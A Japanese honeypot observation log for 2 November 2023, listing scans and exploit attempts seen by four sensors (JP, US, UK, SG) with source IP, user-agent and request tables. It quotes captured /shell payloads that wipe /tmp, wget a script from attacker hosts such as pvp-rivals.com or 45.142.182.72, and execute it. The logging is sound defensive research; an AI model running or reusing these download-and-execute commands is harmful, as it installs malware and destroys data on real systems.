2023/11/02 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2023/11/02分です。

特徴

共通

GPONルータの脆弱性を狙うアクセス
/.envへのスキャン行為

Location:JP

CensysInspectによるスキャン行為
curlによるスキャン行為
/.gitへのスキャン行為
WordPressへのスキャン行為
configファイルへのスキャン行為
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 45.142.182.72/reallynightmare.sh;
chmod 777 *;
sh reallynightmare.sh?jaws

cd /tmp;
rm -rf *;
wget https://pvp-rivals.com/jaws.sh;
chmod 777 *;
sh /tmp/jaws.sh

Location:US

Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
CensysInspectによるスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget https://pvp-rivals.com/jaws.sh;
chmod 777 *;
sh /tmp/jaws.sh

Location:UK

Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
5.188.210.227に関する不正通信
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  93.123.85.29/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget https://pvp-rivals.com/jaws.sh;
chmod 777 *;
sh /tmp/jaws.sh

Location:SG

PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
CensysInspectによるスキャン行為
/.awsへのスキャン行為
/.gitへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget https://pvp-rivals.com/jaws.sh;
chmod 777 *;
sh /tmp/jaws.sh

他

アクセス数推移

JP：総アクセス数：123 (前日比：-58)
US：総アクセス数：137 (前日比：-19)
UK：総アクセス数：69 (前日比：-1)
SG：総アクセス数：161 (前日比：-126)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	8.137.11.3	Singapore
2	18.130.57.70	United States
1	20.251.160.194	United States
1	23.95.122.101	United States
2	23.95.122.102	United States
1	34.231.243.61	United States
7	35.216.250.8	United States
14	36.134.168.163	China
1	37.65.160.241	France
15	43.154.141.71	Singapore
8	44.210.79.18	United States
1	45.33.80.243	United States
1	45.56.108.128	United States
1	45.140.17.16	Russia
1	45.143.201.62	Russia
1	47.103.59.134	China
1	52.53.202.127	United States
1	59.52.101.226	China
1	64.62.197.78	United States
1	64.62.197.80	United States
1	64.62.197.89	United States
1	64.62.197.114	United States
4	91.92.245.64	Bulgaria
2	94.156.66.33	Bulgaria
2	95.158.32.112	Ukraine
2	109.237.98.226	Russia
1	111.85.200.217	China
1	112.94.188.69	China
1	121.29.178.84	China
1	125.84.238.153	China
3	135.125.244.48	France
4	135.125.246.110	France
7	135.125.246.189	France
3	142.44.252.3	Canada
2	152.32.169.36	Hong Kong
3	159.100.13.152	Germany
1	161.35.128.158	United States
1	162.142.125.14	United States
1	162.142.125.212	United States
1	162.243.136.53	United States
6	165.154.172.88	Hong Kong
1	172.104.11.34	United States
3	185.254.196.173	Ukraine
5	185.254.196.186	Ukraine
2	198.235.24.14	United States
2	205.210.31.244	United States

UserAgent一覧

件数	UserAgent
24	`-`
1	`Hello, World`
3	`Hello, world`
1	`Mozilla/5.0 (Android 6.0.1; Mobile; rv:48.0) Gecko/48.0 Firefox/48.0`
6	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:103.0) Gecko/20100101 Firefox/103.0 abuse.xmco.fr`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.83 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 8_0_1) AppleWebKit/575.54 (KHTML, like Gecko) Chrome/78.0.41 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 8_0_1) AppleWebKit/581.40 (KHTML, like Gecko) Chrome/53.0.307 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36`
15	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 YaBrowser/23.1.2.987 Yowser/2.5 Safari/537.36`
6	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36`
14	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0`
2	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.37 (KHTML, like Gecko) Chrome/54.0.2448 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5`
27	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
1	`Python-urllib/3.10`
1	`curl/7.68.0`
4	`python-requests/2.28.2`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`-`
1		`MGLNDD_18.179.20.5_80\n`
2		`\x03`
1		`\x16\x03\x01\x01H\x01`
12		`\x16\x03\x01`
1		`\xedeq\xc2\x01\x01`
2		``
30	GET	`/.env`	HTTP/1.1
1	GET	`/.git/HEAD`	HTTP/1.1
5	GET	`/.git/config`	HTTP/1.1
2	GET	`/194904995`	HTTP/1.1
1	GET	`/99vt`	HTTP/1.1
1	GET	`/99vu`	HTTP/1.1
1	GET	`/aaaaaaaaaaaaaaaaaaaaaaaaaqr`	HTTP/1.1
1	GET	`/axis2-admin/`	HTTP/1.1
1	GET	`/axis2/`	HTTP/1.1
1	GET	`/axis2/axis2-admin/`	HTTP/1.1
1	GET	`/blog/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/cms/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/config.json`	HTTP/1.1
6	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/gate.php`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
2	GET	`/info.php`	HTTP/1.1
1	GET	`/news/wp-includes/wlwmanifest.xml`	HTTP/1.1
3	GET	`/robots.txt`	HTTP/1.1
1	GET	`/sendgrid.env`	HTTP/1.1
1	GET	`/sendgrid/.env`	HTTP/1.1
1	GET	`/server-status`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+;wget+45[.]142[.]182[.]72/reallynightmare.sh;chmod+777+;sh+reallynightmare[.]sh?jaws`	HTTP/1.1
2	GET	`/shell?cd+/tmp;rm+-rf+;wget+https[:]//pvp-rivals.com/jaws.sh;chmod+777+;sh+/tmp/jaws.sh`	HTTP/1.1
1	GET	`/site/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/sito/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.0
1	GET	`/telescope/requests`	HTTP/1.1
1	GET	`/test/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/web/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/website/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/webui/`	HTTP/1.1
1	GET	`/wordpress/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp1/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp2/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/xmlrpc.php?rsd`	HTTP/1.1
15	HEAD	`/Core/Skin/Login.aspx`	HTTP/1.1
1	OPTIONS	`/`	HTTP/1.1
1	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
2	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	USER	`anonymous`
1	t3	`12.1.2\n`

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
2	5.8.10.202	Russia
2	13.40.23.101	United States
3	31.43.185.65	Ukraine
1	45.56.86.210	United States
1	45.79.172.21	United States
1	45.79.181.104	United States
2	45.79.181.179	United States
1	45.79.181.251	United States
1	45.140.17.16	Russia
1	45.141.215.236	Netherlands
2	45.143.201.62	Russia
10	54.36.115.221	France
1	54.37.79.75	France
8	54.80.185.234	United States
1	54.190.45.151	United States
25	57.129.23.166	France
1	61.219.11.155	Taiwan
1	64.62.197.239	United States
3	74.82.47.5	United States
2	83.97.73.87	Germany
6	90.151.171.106	Russia
14	90.151.171.108	Russia
1	94.156.66.33	Bulgaria
1	104.40.67.195	United States
1	112.193.169.238	China
1	119.60.104.78	China
1	121.29.178.37	China
2	128.199.111.208	United Kingdom
1	139.59.101.104	Singapore
2	146.190.111.14	United States
1	159.203.132.66	United States
2	162.142.125.224	United States
1	162.243.143.30	United States
14	164.52.0.94	China
2	167.94.138.124	United States
2	172.104.11.46	United States
2	172.105.128.11	United States
2	174.138.19.83	United States
1	180.149.125.170	Mongolia
4	185.142.236.40	Seychelles
1	192.155.90.220	United States
1	192.227.173.67	United States
1	193.35.18.187	Bulgaria
1	194.165.16.72	Panama
2	198.235.24.144	United States
1	211.137.77.16	China

UserAgent一覧

件数	UserAgent
53	`-`
4	`Go-http-client/1.1`
1	`Hello, world`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.46`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36`
10	`Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0 (+https[:]//best-proxies.ru/faq/#from) Z73802194750Q1`
10	`Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0 (+https[:]//best-proxies.ru/faq/#from)`
37	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
6	`Mozilla/5.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_34.68.118.83_80\n`
7		`\x03`
5		`\x16\x03\x01\x01\x07\x01`
3		`\x16\x03\x01\x01`	\x01
28		`\x16\x03\x01`
2		``
1		`s\x82\xd9fS\x86Pg\xe9\n`
1	CONNECT	`api[.]ipify[.]org:443`	HTTP/1.1
3	CONNECT	`checkip[.]amazonaws[.]com:443`	HTTP/1.1
4	CONNECT	`eth0[.]me:443`	HTTP/1.1
1	CONNECT	`google[.]com:443`	HTTP/1.1
1	CONNECT	`ip[.]bablosoft[.]com:443`	HTTP/1.1
1	CONNECT	`v4[.]ident[.]me:443`	HTTP/1.1
37	GET	`/.env`	HTTP/1.1
1	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`//.env`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/c/`	HTTP/1.1
6	GET	`/cdn-cgi/trace`	HTTP/1.1
9	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
2	GET	`/server-status`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+;wget+https[:]//pvp-rivals.com/jaws.sh;chmod+777+;sh+/tmp/jaws.sh`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/webui/`	HTTP/1.1
1	GET	`http[:]//api[.]ipify[.]org?Z73802194750Q1`	HTTP/1.1
3	GET	`http[:]//checkip[.]amazonaws[.]com?Z73802194750Q1`	HTTP/1.1
4	GET	`http[:]//eth0[.]me?Z73802194750Q1`	HTTP/1.1
1	GET	`http[:]//ip[.]bablosoft[.]com/?Z73802194750Q1`	HTTP/1.1
1	GET	`http[:]//v4[.]ident[.]me?Z73802194750Q1`	HTTP/1.1
1	OPTIONS	`/`	HTTP/1.1
1	POST	`/boaform/admin/formLogin`	HTTP/1.1
2	PRI	`*`	HTTP/2.0
1	USER	`anonymous`

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	5.188.206.213	Russia
1	5.188.210.227	Russia
3	31.43.185.65	Ukraine
2	45.33.80.243	United States
1	45.79.181.104	United States
2	45.79.181.179	United States
1	45.79.181.223	United States
1	45.95.147.204	Netherlands
1	45.140.17.16	Russia
1	45.143.201.62	Russia
1	50.18.72.164	United States
2	52.56.124.236	United States
4	54.36.115.221	France
10	54.37.79.75	France
1	64.62.197.90	United States
1	64.62.197.109	United States
1	64.62.197.117	United States
1	64.62.197.121	United States
1	66.240.192.82	United States
2	83.97.73.87	Germany
5	88.122.35.189	France
1	89.190.156.174	United States
3	94.156.66.33	Bulgaria
1	104.140.148.106	United States
2	109.237.97.180	Russia
1	112.193.195.14	China
1	139.59.101.104	Singapore
1	172.104.11.46	United States
1	172.105.128.11	United States
2	172.105.128.13	United States
1	180.71.176.45	South Korea
1	180.149.125.167	Mongolia
1	192.99.9.171	Canada
2	192.155.90.220	United States
1	192.227.173.62	United States
1	192.241.196.8	United States
1	194.165.16.10	Panama
2	198.235.24.144	United States
2	205.210.31.234	United States
1	223.93.189.211	China

UserAgent一覧

件数	UserAgent
30	`-`
1	`Hello, world`
1	`Mozilla/5.0 (Linux; Android 11; M2007J3SY) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.41`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
5	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11`
2	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36`
15	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
4	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_132.145.66.34_80\n`
1		`SSH-2.0-libssh2_1.10.0`
6		`\x03`
1		`\x16\x03\x01\x01H\x01`
18		`\x16\x03\x01`
2		``
16	GET	`/.env`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/c/`	HTTP/1.1
2	GET	`/cdn-cgi/trace`	HTTP/1.1
1	GET	`/cgi/conf.bin`	HTTP/1.1
1	GET	`/cronlab/.env`	HTTP/1.1
4	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/lab/.env`	HTTP/1.1
1	GET	`/lib/.env`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ 93.123.85.29/jaws;sh+/tmp/jaws`
1	GET	`/shell?cd+/tmp;rm+-rf+;wget+https[:]//pvp-rivals.com/jaws.sh;chmod+777+;sh+/tmp/jaws.sh`	HTTP/1.1
1	GET	`/vendor/.env`	HTTP/1.1
1	GET	`/webui/`	HTTP/1.1
1	GET	`http[:]//5[.]188[.]210[.]227/echo.php`	HTTP/1.1
1	OPTIONS	`/`	HTTP/1.1
4	POST	`/boaform/admin/formLogin`	HTTP/1.1

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
8	3.234.242.35	United States
8	3.235.236.33	United States
8	3.238.240.146	United States
33	20.104.164.115	United States
2	23.95.122.101	United States
3	31.43.185.65	Ukraine
2	35.178.203.61	United States
1	45.33.80.243	United States
1	45.56.108.128	United States
1	45.79.181.104	United States
3	45.79.181.223	United States
1	45.79.181.251	United States
1	45.95.147.204	Netherlands
5	45.129.14.100	Romania
1	45.140.17.16	Russia
2	45.143.201.62	Russia
1	50.18.72.164	United States
3	54.36.115.221	France
5	54.37.79.75	France
27	57.129.23.166	France
1	58.19.46.167	China
1	64.62.197.157	United States
1	64.62.197.160	United States
1	64.62.197.165	United States
4	71.6.158.166	United States
1	74.82.47.5	United States
1	80.66.88.204	Russia
2	83.97.73.87	Germany
3	94.156.66.33	Bulgaria
1	95.158.32.112	Ukraine
2	109.237.97.180	Russia
1	120.0.8.186	China
1	121.56.26.200	China
1	159.203.132.66	United States
2	162.142.125.214	United States
2	167.94.145.57	United States
2	167.248.133.124	United States
1	172.104.11.34	United States
1	172.104.11.46	United States
1	172.105.128.11	United States
2	172.105.128.13	United States
1	180.149.125.165	Mongolia
1	185.28.39.4	Netherlands
1	185.247.224.168	Seychelles
1	192.155.90.220	United States
2	193.35.18.187	Bulgaria
1	198.199.104.72	United States
2	205.210.31.20	United States
2	205.210.31.145	United States
1	218.95.234.106	China
1	221.212.178.215	China

UserAgent一覧

件数	UserAgent
44	`-`
2	`Go-http-client/1.1`
2	`Hello, world`
1	`Mozilla/5.0 (Linux; Android 11; MVK-T2101) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.116 Safari/537.36 EdgA/45.09.4.5083`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
2	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36`
18	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36`
33	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b4pre) Gecko/20100815 Minefield/4.0b4pre`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36`
36	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0`
5	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
3	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
1	`Mozilla/5.0 (compatible; YandexBot/3.0; +http[:]//yandex[.]com/bots)`
1	`facebookexternalhit/1.1`

リクエスト内容一覧

件数	Method	Request	Protocol
5		`-`
1		`MGLNDD_13.67.44.234_80`
7		`\x03`
1		`\x16\x03\x01\x01H\x01`
19		`\x16\x03\x01`
1		`\xedeq\xc2\x01\x01`
2		``
2	CONNECT	`google[.]com:443`	HTTP/1.1
1	GET	`/.aws/credentials`	HTTP/1.1
1	GET	`/.env.txt`	HTTP/1.1
37	GET	`/.env`	HTTP/1.1
1	GET	`/.gitlab-ci.yml`	HTTP/1.1
1	GET	`/.phpinfo`	HTTP/1.1
1	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`/13.67.44.234/.env`	HTTP/1.1
1	GET	`/194904995`	HTTP/1.1
3	GET	`/99vt`	HTTP/1.1
3	GET	`/99vu`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
3	GET	`/aaaaaaaaaaaaaaaaaaaaaaaaaqr`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/admin/.env`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
1	GET	`/app/.env`	HTTP/1.1
1	GET	`/app/config/.env`	HTTP/1.1
1	GET	`/apps/.env`	HTTP/1.1
1	GET	`/audio/.env`	HTTP/1.1
1	GET	`/backend/.env`	HTTP/1.1
1	GET	`/base/.env`	HTTP/1.1
1	GET	`/blog/.env`	HTTP/1.1
1	GET	`/c/`	HTTP/1.1
1	GET	`/cgi-bin/.env`	HTTP/1.1
1	GET	`/conf/.env`	HTTP/1.1
1	GET	`/core/.env`	HTTP/1.1
1	GET	`/crm/.env`	HTTP/1.1
1	GET	`/database/.env`	HTTP/1.1
9	GET	`/favicon.ico`	HTTP/1.1
3	GET	`/gate.php`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/laravel/.env`	HTTP/1.1
1	GET	`/library/.env`	HTTP/1.1
1	GET	`/local/.env`	HTTP/1.1
1	GET	`/new/.env`	HTTP/1.1
1	GET	`/newsite/.env`	HTTP/1.1
1	GET	`/old/.env`	HTTP/1.1
1	GET	`/protected/.env`	HTTP/1.1
1	GET	`/public/.env`	HTTP/1.1
7	GET	`/robots.txt`	HTTP/1.1
2	GET	`/shell?cd+/tmp;rm+-rf+;wget+https[:]//pvp-rivals.com/jaws.sh;chmod+777+;sh+/tmp/jaws.sh`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/sites/all/libraries/mailchimp/.env`	HTTP/1.1
1	GET	`/src/.env`	HTTP/1.1
1	GET	`/storage/.env`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.0
1	GET	`/vendor/.env`	HTTP/1.1
1	GET	`/vendor/laravel/.env`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/webui/`	HTTP/1.1
1	GET	`/wp-admin/.env`	HTTP/1.1
1	GET	`/wp-content/.env`	HTTP/1.1
1	GET	`/www/.env`	HTTP/1.1
1	OPTIONS	`/`	HTTP/1.1
5	POST	`/boaform/admin/formLogin`	HTTP/1.1
3	PRI	`*`	HTTP/2.0
1	USER	`anonymous`